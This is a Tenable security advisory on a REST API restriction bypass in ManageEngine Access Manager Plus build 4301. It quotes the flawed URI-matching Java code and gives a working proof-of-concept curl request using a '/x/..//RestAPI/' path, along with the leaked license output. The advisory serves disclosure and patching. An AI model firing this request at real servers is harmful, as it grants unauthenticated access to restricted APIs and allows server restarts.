Synopsis
A researcher at Tenable found an API restriction bypass vulnerability in ManageEngine Access Manager Plus (AMP) build 4301. The flaw results from HttpServletRequest.getRequestURI() not returning a normalized URI in com.manageengine.ads.fw.api.RestAPIUtil.isRestAPIRequest():
public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
String restApiUrlPattern = "/RestAPI/.*";
try {
restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);
} catch (Exception ex) {
out.log(Level.INFO, "Unable to get API_URL_PATTERN.", ex);
}
String reqURI = request.getRequestURI();
String contextPath = (request.getContextPath() != null) ? request.getContextPath() : "";
reqURI = reqURI.replace(contextPath, "");
reqURI = reqURI.replace("//", "/");
return Pattern.matches(restApiUrlPattern, reqURI);
}
}
<...snip...>
if (RestAPIUtil.isRestAPIRequest(request, this.filterParams) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig))
return false;
<...snip...>
An unauthenticated remote attacker can exploit this to bypass checks on REST API URLs by using a URL like '/x/../RestAPI/'. This allows the attacker to access certain REST APIs that are not normally accessible.
The actions the attacker can do with these REST APIs include, but are not limited to, restarting the AMP server, creating a large number of attacker-controlled certificate files (i.e., to fill up the file system), and viewing information that is otherwise inaccessible.
Proof of Concept:
# Get license details
curl --path-as-is -sk -d 'operation=getLicenseDetails' 'https://<amp-host>:9292/x/..//RestAPI/LicenseMgr'
{"BUILD_NO":"4301","LICENSE_TO":"ManageEngine","COMPONENT_DETAILS":{"Days to Expire":"23days.","Number of Users":10},"VERSION":"4.3.0","LICENSE_TYPE":"Standard Edition - Trial Version","LICENSE_TYPE_CODE":"T","PRODUCT_NAME":"AccessManagerPlus"}Solution
ManageEngine has fixed this issue in Access Manager Plus version 4.3 Build 4302.Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]